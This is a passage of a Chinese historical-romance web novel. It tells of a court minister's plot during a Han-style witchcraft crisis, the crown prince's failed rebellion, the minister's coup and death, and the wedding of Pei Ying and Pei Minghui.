温珩想得没错,太子果然反击了,只要太子一反击,动了城中武库,起了长案城防,那便是实打实的造反。 温珩的心情很好。 一队全副武装的车马曲折出了长安南门,飞驰而过横跨渭水的白石桥,一路直奔坐落在南山的章台宫。 这是皇帝驻跸的行宫。 马队停在章台宫前,温珩浑身浴血狼狈至极被人搀下了辎车,然后被宫人领进了章台宫。 铜人宫灯闪烁在漫长的长廊甬道旁,温珩被人架着艰难走进宫室。 外面正是艳阳天,繁华的宫室四面垂着深沉的黄纱,明亮的夏日阳光被这华贵的黄纱筛得更加柔和细腻,这温柔的光落在地面之上,照亮了地毡上葳蕤蔓生的草叶纹样,草叶一直生长,穿过环立的竹简书架与各色灯具,一直来到一张宽大的青铜桌案前,其后皇帝随意地靠在凭几之上,娇艳美丽的赵夫人在跪坐在一旁。 “这是怎么了?” 赵夫人赵姝看见温珩如此模样,登时吓得花容失色,轻轻推了推皇帝的手臂。 “陛下,你快看,御史大夫怎么伤成这个样子。” “嗯?” 皇帝慢悠悠地掀起眼皮,看着温珩伤成这幅样子,疑惑道。 “伤这么重,谁伤的你?” “回陛下,是太子,太子见巫蛊事发,便动用东宫戍卫杀了臣的所有护卫,臣拚命才逃出一条生路,特来向皇帝陛下禀报。” 温珩气息喘喘,满身血污的样子看了好不可怜。 “太子?” 皇帝轻嗤一声。 “你怕是说错了人。太子可没这个胆子。” “太子一向仁厚宽和,若非臣亲见,是无论如何也不能相信太子会生出如此妄举,可是今臣之护卫全为东宫戍卫斩杀,今太子业已然在长安散播檄文,开府库,调兵遣将,意欲自立,这些事,都是有目共睹的啊。臣死虽不足惜,只是此事关系天下社稷,臣就算万死也不敢隐瞒啊!” 皇帝倏然睁开了眼睛,看着跪伏在地痛哭的温珩,他慢慢地站了起来。 “太子造反?” 皇帝踱步到温珩近旁。 “回陛下,今长安生变,千真万确啊!” “太子竟有胆子造反?” 皇帝招呼左右,左右皆俯首而跪。 皇帝闭上了眼睛,许久没有说话。 赵姝慢悠悠地十分谨慎地走了过去,搀扶住皇帝的胳膊,却又被皇帝一把挥开,重重摔在地上,赵姝顿时吓得三魂荡荡,立马跪下叩首。 皇帝心中如堵了一块大石头,他分明气息喘喘,可无论如何都喘不上起来。 又是良久,夏日骄阳渐渐偏斜,那猛烈的阳光也渐渐柔和下来,帷幕遮掩的奢华宫室渐渐变得幽暗。 皇帝甩袖离去。 又是良久,最后一抹血红的夕阳透过帷幕的缝隙形成一线血红,幽幽然落在锦衣浴血的温珩身上,他僵硬地直起身体,夕阳的光芒映着血光,照亮他艳丽唇角那诡谲的笑意。 —— 长安的百姓都不相信宽仁的太子会造反,就在他们看见街头巷里的檄文之时,都毫不犹豫地选择追随太子,惩奸讨逆,安国定朝,谢太子将武库的兵器分发下去,又释放了关押在牢狱的刑徒,宣布平叛过后,罪无论大小,悉数赦免。 可是长安的官员却并不这样想,谢太子虽然是太子,可他终究只是太子,他的上面还有皇帝,今皇帝未死,太子就不会是皇帝。 就在夜色沉沉之时,谢太子的兵马到了北军营地。 但是负责北军的将军却拒不同意由太子接管北军兵马,僵持之下皇帝的诏令到来了,率队而来的正是温珩。 谢太子大惊失色。 两方顿时交火,之后的五天,长安城内展开了激烈的巷战,太子军队方面以太子的舍人和门客为将军,被武装的刑徒和百姓为士卒,可是他们又怎么会是身经百战的正规军队的对手呢? 很快,长安城便尸横遍野,就算是北军也是鲜血淋漓 死者数十万,血流沟中。 黑色硝烟滚滚升起,黑鸦盘旋在半空之中,发出呕哑嘲哳令人生寒的叫声。 温珩站在城楼之上,看着一片狼藉的长安城,看着被鲜血染红的涛涛渭水,看着原本辽源澄澈的天地一片被黑色的恐怖烟雾笼罩。 他徐徐走下城楼,开始清点死亡人数。 此战太子的人马大部被歼灭,余下活着的也被缉拿归案,先集中关押在大牢,后来大牢都关不下了,就先辟出大量空地关押。 温珩扳住地上一具尸体的肩膀,将他整个人都翻了过来。 不是太子。 温珩蹙起了眉。 “太子呢?” 温珩问一旁的随官。 “回大人,太子……太子跑了……”随官支支吾吾地说道,“属下已派人去追了,今三辅各县已然派出军队搜寻太子踪迹。” 温珩淡淡地笑了笑:“下令关中各县,全力堵截要道,同时封锁函谷关,全力搜索太子。各县如有疏落者,汉律问罪。” “诺。” 随官利落领命。 “勿伤太子性命。” 温珩的语气倏然变得斟酌。 随官立即心领神会。 —— 漆黑的夜,黑得好似没有尽头,冰冷的弦月半死不活地挂在天上,光亮不足以照亮这世间的漆黑。 谢太子疯狂地策马,胯下战马飞一般地奔驰在林间曲折的小道上,过了很久很久,林中的夜浓稠已然看不到五指了。 他们无法快速前进,只得慢慢地往前摸索。 他们不敢停,却也不敢点灯。 耳边传来哗哗的流水声,谢太子估摸着自己大概是到了壶水河谷,接连五日的征战,让他极度的疲惫,他似乎已经将自己一生的力气都用尽了。 他的双腿如灌了铅一般沉重,每一次的呼吸都分外痛苦。 “殿下,喝口水罢。” 东宫属官方才从河边用牛皮水袋灌了些水。 太子伸出手来,却发现自己竟拿不住水袋了。 大势将去了吗? 谢太子面上虽无表情,可心中却苦笑不止。 他反反复复分解着所有自变节发生的细节,究竟是什么让自己陷入如此地步,一朝竟从天潢贵胄的大汉太子沦为了亡命天涯的囚徒。 他思索良久,可依旧莫衷一是。 可是隐隐约约的,他竟然听见战马嘶鸣喷鼻之声,他猛然回头看去,一阵冰冷倏忽蹿过脊骨漫过身心,他整个人都仿佛站在悬崖边上,而在前面,是生吃人的恶虎。 黑暗里有谁在逼近,隐隐绰绰的,有刀剑的寒光闪过。 随着威胁一步一步逼近,谢太子的心悬了起来,他浑身冰凉地好像有雪水兜头倒了下来,可是他倏然释然了。 “成王败寇,自古之理,你为太子,亦不免之!” “莫怕失败,母后永远站在你的身后。” 谢太子的手按在剑柄之上,示意部下准备最后一次的冲锋。 火光燃了起来,一个接着一个火把的光照亮幽暗的树林。 “是太子吗?” 试探的声音传来。 “你是谁?” 东宫属官上前一步。 “老臣是长陵县县令啊。” 从马上下来一个身着官府的老令。 “原是长陵县令孙有止孙大人?” 谢太子微微放下了戒心。 可就在他们攀谈之际,却有人暗中潜伏而行。 而他却不知道这放松的警惕,却是要他性命的危机。 就见寒芒一点闪过暗夜,直直冲着太子咽喉而来,与此千钧一发之时,却有一箭不知天地何处而来,旋转的箭簇擦过熊熊燃烧的火把,一箭射中了谢太子的肩膀,巨大的惯性带着谢太子猛地向后跌去,刚刚好与那滑向他咽喉的利刃擦身而过,谢太子沉入滚滚波涛之中,些许殷红的鲜血在翻滚的浪花之中很快消失无踪,然后一去不复返地汇入广阔的渭水之中。 “太子!” 一路追随太子的宾客舍人们顿时失色。 孙有止的脸色一下子就白了:“是谁?” “是谁!” 孙有止彻底暴怒了,他环顾向四周,看着一脸茫然的队伍,看着在夜风中微微荡漾着着的火把的光,极目望去便是黑黢黢的森林,曲折的森林林稍之上是深蓝色的天空,上面有着微末的星光。 回应孙有止的事聒噪的蛙鸣。 过了许久,孙有止的冷汗浸透了衣裳,他下令,立即处死眼前太子宾客人等。 他听着他们的惨叫,自己却深深地陷入了为难,他又下令,无论如何都要将太子找回来,生要见人死要见尸。 太子必须死,但是太子不能这么死。 太子最好的死法,便是自尽。 —— 皇帝突然发了高热,赵夫人日夜衣不解带侍奉在侧。 他半躺在宣室殿后殿的卧榻上,靠在大靠枕上,听臣下的回汇报,当他听到太子投河自尽而至今下落不明的时候,他猛然怔住了,他怔愣了许久,漆黑的眼睛开始浑浊起来。 皇后自尽了,太子也自尽了。 一朝他竟一同失去了妻子与儿子。 他浑浊的眼睛凝望着宣室殿华丽的灯火,良久,他闭上了眼睛。 赵夫人怜惜地搀扶住皇帝,又跳调整了大靠枕的位置,让皇帝能够舒服些。 待到皇帝睡后,赵夫人这才退出了宣室殿。 温珩早早等候在殿外,一见赵夫人迤逦而来,便笑吟吟向他行礼。 温珩:“陛下如何了?” 赵夫人扶了扶鬓上的金流苏,美丽的面容染上了忧愁,她叹息道:“陛下方才得知太子死讯,身体更不好了。” 赵夫人环顾四周,压低了声音:“还请大人早就打算,我们母子的荣耀全赖大人了。” “臣唯娘娘马首是瞻。” 温珩微笑着说道。 赵夫人的喜色短暂浮上面庞后转瞬即逝:“大人这是哪里的话,此时此刻,天地转圜之机,只要大人与我们母子同心同德,何不能握住这通天的权柄呢?” 待送走了赵夫人,温珩面上那恭维的笑意也如潮水一般褪去了,他长身而在立,静静目送赵夫人的身影消失在殿外回廊转角处,唇畔勾起一丝隐秘的笑意,眼神却冰凉。 皇帝啊皇帝,你真是越老越糊涂,越老越偏狭,你年轻时的英明已经当然无存了。 “宣御史大夫觐见——” 黄门令尖而细的声音回响在宽阔肃穆的殿宇之中。 你从头到尾只是将我当成你手中一把利刃,想要我跟裴瑛一样,成为为你铲除敌人的刽子手。 温珩缓步走了进去。 我本没有如此的野心,可是我若没有如此野心,便只是一把由别人挥动的没有生命的利刃,利刃终有顿掉的那一天,而我终不只是你的利刃,你赋予我对他人的生杀大权,而这份权利,终将反馈到你的身上。 “臣,御史大夫温珩,叩见皇帝陛下。” 温珩敛衣跪地。 皇帝似乎还没有睡醒,他躺在在榻上,囫囵着说了几句话,温珩恭敬地答应着。 “臣定不负陛下所托,定然全力辅佐小皇子。” 温珩象征性地红了眼眶,声音也哽咽起来。 皇帝又翕动嘴唇,含糊不清地说了几句话。 温珩又些没听清,膝行几步,可是就在他听见了那好似呓语的几句话,整个人都僵住了,他有些不敢相信自己的耳朵,说出来的话是自己都没有意识到的颤抖。 “陛下……陛下不可啊陛下。” 皇帝微微有了些精神,他偏过头去,浑浊的眼睛看着惊慌失措的温珩,微微一笑:“这个女人,密行巫蛊……朕……不能容她。” 温珩的脸色肉眼可见地一下子惨白了:“陛下,此不实之言,定是有心之人……” 皇帝抬了抬手,一卷书简便摔在温珩面前,他急忙拾起书简,仔细一看,却是大惊,他立即再度膝行一步:“陛下,裴氏行巫蛊虽却有其实,但是她并未行巫蛊诅咒陛下,也未行巫蛊诅咒任何人,还请陛下念在裴瑛裴大人为陛下鞍前马后的情分上,饶裴氏一条性命罢。” “裴氏明知故犯,罪不可赦,又与近臣相交过密,屡涉政事,长安多少事都是这个女人搅起来的。” 皇帝的嘴角抽搐。 “她若不死,天下便不会安定。天下不安定,朕便愧对祖宗社稷。” “陛下,裴氏一介女子,又能如何搅动长安呢?”温珩彻底慌了,“裴氏有罪,当查封裴家,封其祠堂,将裴氏贬为庶人,让其永远都不能再入长安,也让天下人都知道,陛下是宽仁的,是念着裴瑛裴大人的,这也不会寒了过往一直追随陛下的重臣良将的心啊。” 温珩承认,自己为了名望与权力,为了让温氏家族名扬天下,成为首屈一指的大家族,为了实现自己君临天下的欲望,做了太多的阴私的恶毒的见不得太阳的勾当,他伤害了一直提拔帮助自己的人,冤枉了太多忠臣良将,让他们的案件永远无法昭雪……诸如此类之事,太多太多了,温珩自己都快要数不过来了。 可是,可是温珩的心一下子就焦灼起来,他知道此时此刻皇帝的命令无人可以违抗自己也绝非忠臣,若是强装出一副昧死劝谏的样子只会适得其反。 当此之时,为了温氏能独步于天下,他最应该做的便是忠诚地执行皇帝的命令。 亲手杀掉裴明绘。 杀掉一个女人,就能换取唾手可得的天下。 他等待了许久的天下,为之付出无尽血泪的天下。 这不是你日日夜夜期盼的吗? 温珩整个人陷入死寂的沉默,他没有回应皇帝的话,而在皇帝面前,沉默不语就是忤逆 “陛下……” 温珩声音气游若丝。 “请恕臣……万死不能从命。” 皇帝的眼球转动,落在了垂首深深痛苦着的温珩身上,轻飘飘的话说出口,却重重地砸在了温珩头上,砸得他的眼神更加弯曲。 “你要抗旨?” —— 皇帝病重,几至不能言语。 赵夫人的儿子刘簿也成了太子的人选。 温珩官拜丞相。 …… 长安发生了一件又一件的大事,长安的天彻底变了。 可是温珩的野心远不是封侯拜相所能制止的。 但是,只要温珩能够等待,等待皇帝驾崩,等待新皇登基,他作为皇帝亲指的顾命大臣,扶持年幼的皇子刘簿登上皇位,届时真正君临天下的人便会是他了。 哗的又是一场大雨,长安场再度陷入一场经久的夜雨里。 所有的灯火都在骤起的狂风里熄灭了,倏然一阵白色的亮光闪起,照亮了冰冷的雨幕,以及整肃前行的军队,闪电的光落在他们身上,铁甲折出冰冷的寒光,闪电熄灭,便是滚滚沉雷,整个长安城都在颤抖着。 宣室殿里的烛火不住摇晃着颤抖着,殿外回响几乎疯狂的暴风雨的声响,以及令人肝胆生寒的喊杀声。 温珩走在风雨呼啸的殿外回廊下,喊杀生一步步蔓延,整肃的军队一部部接管了宣室殿的戍卫。 温珩停在宣室殿的漆红大门之前,吩咐两侧士卒:“你们守在这里,不准放任何人进来,没有我的命令,也不许进去。” 殿门大开,暴风雨幕的声响骤然大了起来,阴冷的风带着侵入脾肺的冷漫卷大殿。 皇帝慢悠悠地睁开眼睛,看向了顶温珩顶盔掼甲缓步而来,他的身上都湿透了,长靴踩在红毡之上,红毡便流下一片水渍,深红的,阴沉的,像是悲凉的血的颜色。 皇帝冷笑一声,在宫人的搀扶下又坐在了玉案之后:“你倒真不怕死。” 温珩的笑容彻底褪去了往日的柔媚,他漆黑的眼眸浸着雨水的冷意:“陛下,臣有一问,可否请陛下解惑之?” “你说罢。” 也许直到这一刻,皇帝才真正看清了温珩的脸,记忆那容冠天下艳丽的面容,总是带着女人的妩媚的面容,他总是恭顺的,忠诚的,就算他因为任性而屡屡犯下大错,皇帝也就睁一眼闭一只眼也就放过去了。 “陛下,裴明绘在何处?” 温珩也不再多话,遂开宗明义。 “……” 皇帝蹙起了眉,他十分疑惑不解地看着眼前人,似乎从今日他才认识这个人一样。 “陛下,裴明绘在何处?” 温珩又重复了一遍。 “你竟只是为了一个女人,才造反的? 皇帝的声音满是疑惑。 难道江山还比不上一个女人吗? 他疑惑地想。 他不期然有些愤怒。 “臣一直怀有造反之心,只不过臣不想用一个女人来换取臣与陛下那短暂的和平。” 皇帝闭上了眼,似乎再懊悔在用人方面巨大的失误,又似乎再痛苦自己的因此而无辜死去的妻儿。 “你好大的胆子。” “臣也曾求过陛下,裴明绘并非巫行蛊的罪人,她是臣心爱之人,可是陛下却依旧要像杀死臣阿姐一样害死她,臣已经失去了阿姐,难道还要再失去臣最爱的女人吗?” 温珩的表情骤然狰狞起来。 “我与其忍耐,不若反击,如今天下尽在我手,太子身死,诸侯式微,天下谁还能与我抗衡。” “陛下,将裴明绘交给臣罢。” 温珩的语气软了下来。 “只要陛下将裴明绘交给臣,臣决不伤害陛下。” 皇帝的嘴角蓦然一丝抽搐,他想勃然大怒,可他的身体却不能再支持他的愤怒了:“温珩,你好大的胆子,你怎么认为你就可以承接大汉的社稷呢?你本就是豢养在朕身边的一条狗的,朕死之后,你一位天下人会服膺你吗!” 愤怒之后,皇帝剧烈地咳嗽起来。 温珩其人,绝非人主之才,若将天下交于其手,必定大乱。 “能能让天下人服膺,这是臣的本事,若是不能,自是臣的无能。此事并非臣想问之事,当待后说,如今未央宫已被臣控制住了,先前的北军的将军也被陛下杀光了,新换上的人也都是臣的人,今夜以后,陛下退位为太上皇,新皇登基,当保天下太平无忧。” “陛下,告诉臣,裴明绘在何处。” 温珩似乎已经失去了耐心,可是他依旧强迫自己冷静下来。 可是利箭的呼啸声骤然搅扰了他的愤怒,他幽幽然侧身,堪堪避过那只偷袭他的利箭,而那只利箭则稳稳地钉在地上,温珩起身之时顺势拔剑,手腕带剑利落挽起一个剑花,剑尖直指来人。 “呵。” 温珩冷笑一声,表情寒冷地睥睨着来人。 “原来你没死,躲在暗处坐了缩头乌龟。” 一时之间,巨大的愤怒擒住了温珩的所有思考。 这样的男人,就值得你拼尽性命去就救啊! 一个胆小如鼠的男人,只因为濒死就躲在暗处不敢出来的无比懦弱的男人,就值得你拼尽性命去救吗! 温珩死寂的瞳孔倏然燃烧起愤怒的火焰,他的牙关紧咬,紧绷的骨节发出嘎吱嘎吱的响声。 “好啊,你既然来了,便是决定好赴死了罢。” 裴瑛手中持弓,长眉蹙起,显然有些懊恼自己的失败,见温珩攻来,转手丢弃长弓,顺势拔剑出鞘,剑锋相撞,隐有火花迸溅。 “该死的是你。” 裴瑛整个人也如手中那禀柄出鞘的剑一般,带着极尽锐利的锋芒。 “好大的口气,裴瑛,你这个胆小鬼还敢出现在我的面前,那你还敢出现在她的面前吗!” 温珩整个人都陷入暴怒中,他甚至意识不到自己已然濒临情绪崩溃的边缘,过往重重情绪在一瞬间悉数压了过来,压得他无法呼吸,无法思考,手中长剑的剑光罗织成网,恨不得一下瞬间就能取了裴瑛的性命。 相比于温珩的亟不可待,裴瑛反而更加从容,他甚至能够预测温珩在情绪失控之下自然而然的下一步的动作。 “我就在你面前,若你有本事,自可来取。” 裴瑛的眼神暗了暗。 “若你本事不济,便让我取了你的性命罢。” 裴瑛带着无尽的凉薄和憎恶的声音彻底激怒了温珩。 这种人凭什么赢过他?! 温热的血花飞溅,温珩手中剑被裴瑛一剑挑飞,在空中旋转,最后重重摔在地上。 温珩见势不妙,一个假攻击之后转身便欲退出战斗,可是裴瑛哪里会给他逃离的机会,他一剑洞穿了他的肩胛骨,带着无尽的仇恨,将他狠狠钉在地上。 温珩却一声不吭,他决不想在裴瑛面前显露自己的痛苦,他咽下所有的想要吐出来的血又都咽了下去,可是当他说话的时候,鲜血却还是从嘴里流了出来。 隆隆的雷声里兵戈顿起,温珩听见了两军交战之声。 而这声音渐渐地消失了,像是淹死在这瓢泼大雨里一般。 或许真的到末路了,他心道。 可他真的好不甘心。 但,裴瑛显然并不想就这么轻易地就让温珩死了,他招手,示意埋伏在左右的士卒将温珩压制,自己则缓步走向皇帝。 “臣,裴瑛救驾来迟。” 裴瑛面无表情地向皇帝行礼。 “裴瑛……” 皇帝微微有些吃惊,可当他看见殿门打开披着风雨走进的人的时候,年老的皇帝一下便惊住了,他险些没从榻上摔下来。 谢太子披甲而来,殿里融融的灯火映在盔甲只上,却泛出冰冷的光晕。 “儿臣,见过父皇。” 此时此刻的谢太子却没有丝毫劫后余生与父子重逢的喜悦,他的身体原本的一腔热血早已经在母亲兄弟姐妹都被父皇下令杀死的那一刻变成冰雪了。 皇帝紧紧地闭上了浑浊的眼,可是浑浊的痛苦的泪水却渐渐溢出,顺着他苍老的皮肤流了下来。 曾记否,当年年少,几多轻狂? 皇帝倏然想起过去的美好的事,可过去所有的美好的事,都在此刻荡然无存了! 看今朝,妻离子散,孤家寡人! 他的儿子虽然回来了,可此时此刻,他却也不再是他的儿子了。 温珩突然挣脱了士卒的禁锢,疯了一般想要跑,待到裴瑛回过神来的时候,竟看到温珩已然冲到裴明绘身前。 可是就在锋利的刀刃划破血肉的那一刻,温珩的身体顿时僵在了原地。 或许只有在这一刻,温珩才真正地意识自己到底陷入了何种可悲可怕的境地,满宫的血腥,一生的荒唐,或许在这一刻,温珩才明白,过去的一切,真的已经过去,他茫然而又苍白的看着插进自己的胸口的那只匕首,滚烫的鲜血前赴后继地从伤处涌了出来。 温珩的步子踉跄,向前走了一步,终于不能再支撑,踉跄着跪坐在地上。 他捂着胸口,鲜血很快便将手心染红。 他艰难地呼吸着,慢慢抬起眼帘,看向眼前的人,惨然一笑,笑声凄厉地像是受伤的孤鹤在鸣叫,又像是从无尽深处传来的哀戚的风声。 裴明绘看着温珩,沾满血的手不住地颤抖着。 她在害怕。 “怎么?”温珩的所有情绪似乎都随着流逝的鲜血在流逝,可他面上仍带着笑,他仰头看着裴明绘,脸色渐渐失去血色,他抬起手,缓缓抚住裴明绘的脸,“害怕了?” 她杀了他,他怎么可以说出这样的话? 裴明绘所有的心思在此刻都停滞了,她的思考似乎在这一瞬间都被他夺走了。 “你不恨我?” 裴明绘闭上眼睛,终究不能再去看他的眼睛。 “你该恨我的。” “不恨你。” 温珩的笑容粲然生辉,温热的手缓缓抚上她的眼睛。 “过去也许会,但现在不会了。” “我不恨你。”温珩顿了顿,那双永远妩媚着的眼睛开始失去它的独一无二的神采,他知道,自己的死亡将要降临,可是他的面上却没有丝毫的不安,相反,一种宁静的和平却取代了他所有的情绪,“谢谢你,子吟。” 至少,现在他真的释然了,所有的不安都荡然无存,所有的痛苦也都随之生命的流逝而在减轻。 原来,死并不痛苦。 他心道。 温珩带着血的唇轻轻吻在了她颤抖的掌心,当他满是温热血气的气息落在她的肌肤那一刻,裴明绘的心一瞬间停止了跳动。 “至少这样死,我不后悔。” 裴明绘再睁开眼睛的时候,温珩已经躺在地上,生机全无,可他的血依旧在流淌着,在地面上形成一条条涓涓流淌的小河。 可他就这样死在了自己面前,永永远远也不会在醒过来。 为什么,为什么他会谢谢她? 她情愿他恨她,这样两个人的感情也才算上对等。 裴明绘眨了眨干涩的眼,下一刻,那双手便挡住了她的眼睛。 “好了,子吟,都结束了。” 裴瑛轻声安慰道。 裴明绘迟滞着点了点头。 她被裴瑛拉起来的时候,她又往后看,可是她什么都没看见,只看到一排淅淅沥沥的血迹。 那是他的血。 可是他虽然不在了,可是那氤氲在潮气里的血气却无处不在,那腥甜的血气,经过她每一次的呼吸,充斥在她的鼻腔里,逼着她想起过去的事。 过去的事的很快,它们像是一堆乱麻一样缠在一起,根本找不到头。 他欠她的吗? 不知道。 爱恨太多了,她都快要记不清了。 那她欠他吗? 或许罢,终究是有所亏待的。 只是,这份并不对等的感情,在一开始,就是错的。 二人本该就站在敌对的立场上,厮杀到生命的最后一刻的。 裴明绘突然察觉自己的掌心被用力握住,一回头,便对上裴瑛温柔却不容更改的眼神。 裴明绘垂下了头,心里叹息一声,至少天下已然走向新的正轨,巫蛊之祸带来的错误需要被纠正,生发的痛苦已经被抚平,带来的灾害需要被抚慰。 这是一切旧事物的结束,却也是一切新事物的开始。 过去的,就让它随风而去罢。 —— 红烛高燃,柔和的光亮照在在那精致的蟠螭纹铜镜之上,轻轻地镀在那桃形花苞之上,最后泛到昏黄的镜面之上,映亮美人娇艳的容颜。 裴明绘看着镜中的自己,面上生花颜,乌发梳云鬓,云鬓之上有金冠,金冠以金丝为骨架,镶嵌宝石羽与丽的翠羽,灿若群星夺众目。 裴明绘抿了抿涂着胭脂的唇,屏退左右后站了起来,她走到床榻前,在枕头底下取出的一个盒子,细腻的指腹轻轻抚在盒子上的花纹之上,然后一摁旋钮,裴明绘的目光便放在里面的三样物件之上。 毒酒,匕首,白绫。 当初她决定与温珩成婚之时,便预备好了这三样东西。 若是毒酒毒不死他,她便用匕首杀死他,若是匕首也杀不死他,她便用白绫勒死自己。 但是万幸的事,她现在用不上这些东西了。 过去的事,当让他们都过去。 裴明绘将他们永永远远都锁在柜子里。 外面鞭炮声声热闹至极,一束接着一束的华丽而又璀璨的焰火绽放已然被连绵的灯火照亮的深蓝色夜空。 夏荷穿着毛绒绒的冬装,忙里偷闲偷偷趴在窗子上看焰火,焰火映着新雪,火光交映着着雪光,生出一片动人的斑斓光彩来,光彩折射房梁高柱之上的大红喜绸之上,平添一份梦幻的色彩。 苦日子真是过去了。 夏荷高兴地想,她托起腮来,她的眼睛也被灯火光彩映出亮晶晶的色彩来。 “夏荷,快过来!” 春喜最是看不过夏荷歇着,急忙叫她过来。 “来了来了。” 二人一同拿起搁在金托盘上的大红金丝牡丹锦帕,仔细地盖在了那华丽的云鬓之上。 这是平息以温珩为首的乱党的第二年,新帝登基的第一年。 裴瑛等待着,等待她的到来。 终于,空气中隐隐有她的芳香飘了过来,喧闹随后而至。 他急忙转过头,他的眼底映着她莲步款款而来的身影,金红相间的华贵曲裾,衣袖裙摆之处有着繁复的装饰花纹。 步履之间飘逸非常,足上穿着的好似凤尾的丝织翘头履。 裴瑛看着她一步一步向他走来,而眼中的她也缓缓走入他的瞳孔深处,一直走进他为她怦然心动的心中。 过往的每时每刻,他像是禹禹独行在冷冽的寒冬里,而这一刻,世间仁慈的温暖终于降临在他的时间。 裴瑛伸出手。 裴明绘停住了,她自宽大的红袖里伸出宛若葇荑的手来,缓缓地放在他的手心。 裴瑛的手缓缓收紧,将她的手紧紧握在掌心。 “走罢。” 裴瑛无比珍重地牵着裴明绘,带着她往前走。 裴氏祠堂大门再度打开,裴瑛牵着裴明绘,在蒲团下跪下,大红的喜服铺散在青色石砖之上,像是骤然盛放的红色莲花。 一拜天地,二拜高堂,夫妻对拜。 过往遥不可及的梦,在可以终于化作现实。 裴明绘跪下叩首之时,借着锦帕滑落的缝隙看向一同叩首的裴瑛。 心有灵犀的,裴瑛福至心灵般偏过头来,盈着笑的眼眸笑着看着他。 “好了,我终于娶到你了。” 在焰火绽放的间隙,她听见他轻声对她说。 “难道哥哥情愿做赘婿?” 裴明绘挑了挑眉,学着裴瑛的模样轻声说道。 裴瑛哑然失笑:“这有什么,只有补我都是裴家的儿女,却不是兄妹,赘婿又算得了什么。” 焰火再度大盛,照得大半长安城的夜空都明亮起来了。 婢女端着朱漆木托盘,上面放着的盛着清水的铜盆,二人行沃盥礼,婢女退下,随后又有婢女端着盛着肉的盘子前来,二人再行合牢礼,吃罢,她们鱼贯退下。 裴瑛看着端坐在榻上的裴明绘,眸光闪动,一瞬不离。 侍女端上合卺酒来,明绘端起酒爵来,绕过裴瑛的臂膀,目光闪烁地看着裴瑛的眼睛,无比羞涩地将杯中酒饮尽。 合卺礼罢。 婢女服侍着二人各取出一缕头发来,用系着红色丝绦的银剪子各剪下一缕头发来,用红绳系在一起,自此解缨结发礼成。 结发为夫妻,恩爱两不疑。 自此礼成。 几乎同时,新房外高唱起了《桃夭》。 “桃之夭夭,灼灼其华。之子于归,宜其室家。 桃之夭夭,其叶蓁蓁。之子于归,宜其家人。” 在喜悦的歌声中,裴明绘抬起眼帘来,欲语还休地看着裴瑛。 裴瑛一时语塞,无以回复。 红烛高燃,噼啪作响,在谁都没有注意到的瞬间炸开一个绚烂的火花。 空气中似乎无端涌来着令人口干舌燥的热气,这新房中鲜艳的色彩夺去了彼此所有的目光。 “夫君……”陌生却带有蛊惑性的两个字青涩地自朱唇吐出,流转着光芒的眼眸倒映着裴瑛的身影,“鸳鸯于飞,毕之罗之。君子万年,福禄宜之。” 裴瑛目不转睛地看着她,几乎是下意识地便答了此句:“绸缪束薪,三星在天。今夕何夕,见此良人?子兮子兮,如此良人何?” 裴明绘那宛若流光的眼眸一低,戴着沉重繁复的头冠的头亦顺势一低,可是很快,她便再度鼓起勇气,抬起头来,直视着裴瑛。 裴瑛的笑意是那么漂亮,他的眼睛像是闪动着熠熠星光的夜空。 她倏然又羞涩了,她等待着裴瑛开口说话,她就这么等待了许久,却都没有听见他开口,她一时有些好奇,抬起头来,却见那修长优雅的身影站在高燃的红烛之前,凛凛寒光闪过他的掌心,滚烫的鲜血顿时喷涌而出,滴落在吉金色的酒爵中。 “哥哥!” 裴明绘十分熟悉这些情形,见此情形顿时大惊失色,连忙跑过去摁住他的伤处。 “哥哥这是做什么?” 裴瑛笑着偏过头来,敷着温柔烛光的面容跳跃着爱的光彩,他凝神注视着惊慌失措的裴明绘,声音温柔几乎要滴出水来。 “我终于娶到你了,这是我一生中最高兴的日子。” “所以,我绝不会再失去你的。” 他轻轻捧起裴明绘的手,在她瘢痕斑驳的掌心无比爱恋地亲吻着,他纤长的眼眼睫轻轻蹭着她的伤处,像是蝴蝶在亲昵花瓣一般。 “哥哥……” 裴明绘忍不住便要哭出声来。 “好了好了。” 裴瑛温柔地捧住裴明绘的脸。 “大喜的日子,哭什么?” 裴瑛牵着裴明绘的手,扶住她的肩膀让她坐在榻上,自己又转身取来两盏酒爵,殷红的鲜血荡漾着。 “我本是是不怕死的。” 裴瑛轻轻地说,他将其中一盏酒爵放在裴明绘手中,而另一盏,在她自己的手中。 他深深的凝望着她的面容,眸光闪烁着永远不会落山的爱意。 “从前是这样,现在也是。” 裴瑛的声音温柔而又笃定。 “可是无论如何,我却不愿再自己孤身一人了。” 他的手带着酒盏绕过裴明绘的臂膀,与她合卺。 “我们生同衾死同穴。” 裴瑛抬眼看向裴明绘,眉眼弯起好看的弧度。 “我们不是说好了吗,夫人?” 裴明绘再也忍不住自己的泪水,她艰难地含着自己的幸福而又苦涩的泪水,臂膀紧紧绕着他的臂弯,将酒爵递至唇边。 裴瑛见状,方才释怀地笑了,他们再度饮下这同生共死的合卺酒。 酒饮毕,裴瑛心里所有的不安瞬间荡然无存,他亲昵地捧住裴明绘的面容,无比爱恋地吻去她所有的泪水,而后揽着她肩的手却微微用了下力,便将裴明绘整个人拥入他的怀中。 “我们会永远在一起的,一直到永远,永远,直到我们到了生命的尽头……” 裴瑛吻着他的爱人,他们五指紧紧扣在一起。 红烛高燃,焰火绚烂,偌大的长安城已然摆脱了那巫蛊的阴影,再度沉浸在幸福的海洋里。 政客们用它来构陷政敌,仇人们用它来诅咒仇人,可是情人们却用它来与自己的爱人相见,然后政敌死于牢狱,仇人死于非命,情人们得以相见,可是这世上没有什么是可以白白得到的,巫蛊也不是专行慈善之物,政客们最后死于叛乱的失败,仇人们死于自己的仇敌之手,而情人们或许会再度分离。 世间多少事,因缘际会。 人生多少情,阴差阳错。 他们或许会短命,但也许上天会怜悯他们,让他们幸福终老,但这都是很久很久以后的事了,而这些事,都是老天才能知道的事。更何况人生苦短,奈何蹉跎现在,但唯一可以肯定的事,是他们永远永远,都不会再分开。